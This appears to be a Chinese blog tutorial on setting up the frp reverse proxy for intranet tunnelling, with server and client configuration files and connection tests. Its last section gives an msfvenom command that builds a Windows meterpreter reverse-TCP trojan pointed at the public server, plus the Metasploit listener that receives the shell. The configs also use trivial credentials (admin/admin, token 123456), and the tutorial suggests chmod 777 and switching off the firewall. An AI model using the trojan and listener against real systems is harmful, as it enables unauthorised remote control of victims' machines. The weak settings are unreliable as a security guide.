Frp（简易上线）

1、简述：

1）Frp (Fast Reverse Proxy) 是一个免费开源的用于内网穿透的反向代理应用，它支持 TCP、UDP 协议，也为 HTTP、HTTPS 协议提供了额外的支持。

2）frp：服务端（装在公网ip的服务器上）+客户端（装在内网主机上）

3）中转站功能：实现公网 ←→ FRP(服务器) ←→ 内网的连接（可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。）

4）原理：

第一步：服务端：运行，并监听端口，等待客户端连接

第二步：客户端：连接服务端的端口，告诉服务端要监听的端口和转发类型

第三步：服务端：创建新的进程，监听客户端指定的端口

第四步：外网用户：连接到客户端指定的端口，服务端通过和客户端的连接将数据转发到客户端

第五步：客户端：进程将数据转发到本地服务

2、工具：

URL：https://github.com/fatedier/frp

选择合适的版本

Releases · fatedier/frp (github.com)https://github.com/fatedier/frp/releases

3、使用：

1、准备：

1）准备一个域名（注册一个，直接使用ip也可）

2）准备一个服务器（阿里云、腾讯云等都可以免费领一个月）

3）VM中搭建一个虚拟机（内网环境）

4）测试连通性，使用Xshell，或者准备一台非同一局域网下主机并使用ssh命令

5）下载frp工具
命令行输入：
wget  https://github.com/fatedier/frp/releases/download/v0.46.1/frp_0.46.1_linux_arm64.tar.gz
（下载太慢了，我直接下载到电脑上，然后使用xshell配套的xftp传上去）

先解压后再上传的话

1：上传到客户端上面的（即内网主机）

2：上传到服务端上面的（即公网服务器）

s结尾代表server（服务端）

c结尾代表client（客户端）

——————

4）文件解压

如果直接使用的命令下载的，就需要解压
tar -zxvf frp_0.46.1_linux_amd64.tar.gz
方法一：然后把服务端的文件cp出来（或删掉客户端文件）
sudo mkdir 创建文件夹
sudo cp 原文件的位置  将要复制到的位置 
方法二：直接删除客户端文件
rm frpc
rm frpc.ini
rm frpc_full.ini
解压之后文件夹改个名，方便操作

——————

5）文件添加权限（客户端、服务端）
cd /usr/local/frp
sudo chmod 777 frpc
（777为所有权限，也可以换为+x可执行权限，熟悉Linux的就不用多说了）
2、服务端（公网）：

1）修改配置文件（frps.ini）
编辑文件内容
vim ./frps.ini
配置文件内容
[common]
bind_port = 7000         # 服务端与客户端通信端口
dashboard_port = 7500    # 后台管理端口
dashboard_user = admin   # 后台登录用户名
dashboard_pwd = adminvhost_http_port = 7002   # http穿透端口
vhost_https_port = 7003  # https穿透端口
max_pool_count = 50token = 123456          # 身份验证令牌，frpc要与frps一致
tcp_mux = truelog_file = /usr/local/frp/frps.log  # 日志相关配置
log_level = info
log_max_days = 3authentication_timeout = 0  # 服务器与客户端时间相差15min会连接失败，0表示不验证
subdomain_host = ……         # 填写自己注册的域名
privilege_mode = true
——————

2）访问的端口开发

（以腾讯云为例）

方法一：

直接在服务器控制台上添加规则

方法二：

Linux使用命令行添加
# 添加监听端口
sudo firewall-cmd --permanent --add-port=7000/tcp
# 添加管理后台端口
sudo firewall-cmd --permanent --add-port=7500/tcp
sudo firewall-cmd --reload
方法三：

使用ufw、iptables工具

方法四：

直接关闭防火墙

——————

3）启动服务端：
./frps -c ./frps.ini
启动成功

——————

4）访问后台管理界面

服务器ip（或者域名）:port（7500）

并使用自己设置的用户名，密码登陆

————

扩展：

关闭窗口会停止

所以，需要后台运行
nohup ./frps -c frps.ini &
2、客户端（内网）：

1）解压、保留客户端配置文件

——————

2）修改配置文件
编辑配置文件
vim ./frpc.ini
# 客户端配置
[common]
server_addr = ……          # 公网服务器ip
server_port = 7000       # 公网服务端通信端口，与frps.ini的bind_port一致token = 123456             # 身份验证令牌，与服务端的frps.ini中token一致）
tcp_mux = truelog_file = /usr/local/frp/frpc.log  # 日志相关
log_level = info
log_max_days = 3
authentication_timeout = 0             # 服务器与客户端时间相差15min会连接失败，0表示不验证# 配置ssh服务
[ssh]                           # 添加ssh节点
type = tcp
local_ip = 192.168.xxx.xxx      # 或者127.0.0.1
local_port = 22
remote_port = 7001             # 指明由公网服务器的7001端口代理（ssh连接端口，远程服务端口）# 配置http服务，可用于其他开发
[web01]                         # 添加web节点
type = http
local_ip = 192.168.xxx.xxx      # 或者127.0.0.1
local_port = 8080              # 本地8080端口（自定义的tomcat服务）可以通公网服务器7002端口访问
subdomain = web01              # 自定义子域名
——————

3）防火墙端口开放

开放方法和服务端类似

——————

4）客户端启动
./frpc -c frpc.ini
3、测试方法：

方法一：

直接使用Xshell工具，对公网服务器进行连接（公网服务器ip）

端口设置为客户端指定的服务器代理端口（remote_port = 7001）

————

方法二：

使用不在同一局域网下的电脑
ssh admin@***.*.*.* -p 端口# -p 指定服务器端口号，不指定端口则默认22，但此处修改为我们设置的ssh服务端口7001
# admin 为登录的用户名
# ***.*.*.* 为公网服务器ip/域名
————

注：

如果报错Connection closed by……

1、授予ssh权限

2、开启ssh服务

4、生成后门木马监听：

msfvenom -p windows/meterpreter/reverse_tcp lhost=公网服务器ip lport=服务端代理客户端的端口（即remote_port ） -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555

（注：这个监听端口lport，与本地转发端口一致）
exploit

【内网安全-隧道搭建】内网穿透_Frp上线、测试相关推荐

【内网安全-隧道搭建】内网穿透_Ngrok上线（美版、国版二开）
目录一.准备 1.意义: 2.项目: 二.内网穿透 1.简介: 三.Ngrok(入门上线) 1.简述: 2.Ngrok入门上线(国版二开) 3.相关工具: 2.Ngrok入门上线(美版) 一.准备 ...
申请教育邮箱和使用微软 OneDrive API 和腾讯云 SCF 免费搭建个人网盘
参考注册地址注册的学校是(Red Rocks Community College官网)注册申请时需要用到参考注册地址2 国西南学院(Southwestern College) 为什么要申请教育邮箱 ...
内网穿透从搭建到溯源（内网隧道搭建、绕过、隧道流量分析、日志分析、隧道防护）
背景在攻防博弈这个永久的话题中,永远不会缺少一个重要角色即内网穿透.当渗透测试人员在进入内网,需要扩大战果的时候,往往会遇到内网的一些防护策略,不外乎边界设备.防火墙及入侵检测设备对端口或者数据包的 ...
nps+Proxifier搭建socks5代理隧道进行内网穿透
目录一.实验环境搭建二.nps 服务端配置客户端配置将npc注册到系统服务三.Proxifiers使用在渗透过程中,我们需要快速实现内网穿透,从而绕过网络访问限制,直接从外网来访问内网正 ...
通过路由器搭建内网穿透隧道
通过路由器搭建内网穿透隧道将本台计算机设置为一台服务器控制面板中选择程序和功能,启用或关闭WINDOWS功能选择左边启用或关闭 Windows 功能,勾选 Internet Informatio ...
【全过程记录】将windows电脑连接到ipad的rd client远程桌面，通过路由器搭建内网穿透隧道
caiyi 2021/10/03 通过路由器搭建内网穿透隧道将本台计算机设置为一台服务器文章目录一.找到内网ip 二.找到端口号三.在ipad上同一局域网下连接四.在不同局域网下连接五.突 ...
通过WireGuard搭建隧道实现内网穿透
1.安装wireguard 官方安装手册:https://www.wireguard.com/install/ docker安装:https://hub.docker.com/r/linuxserve ...
详细教你用NPS搭建内网穿透服务，外出时轻薄本轻松连接家里的游戏主机远程玩耍
文章目录前言一.NPS概述 NPS的原理二.NPS服务器搭建 1.下载软件 2.云服务器配置 2.1.防火墙配置 2.2.用WinSCP远程上传服务文件 2.3.使用SSH终端安装启动 2.4. ...
外网访问本地搭建的web服务器【免费内网穿透】
教大家一个简单的方法,实现在无公网IP环境下,在本地搭建web服务器,并实现外网远程访问. 使用工具: phpstusy:https://www.xp.cn/download.html cpolar内 ...

【内网安全-隧道搭建】内网穿透_Frp上线、测试

Frp（简易上线）

1、简述：

2、工具：

3、使用：

1、准备：

2、服务端（公网）：

2、客户端（内网）：

3、测试方法：

4、生成后门木马监听：

【内网安全-隧道搭建】内网穿透_Frp上线、测试相关推荐

最新文章

热门文章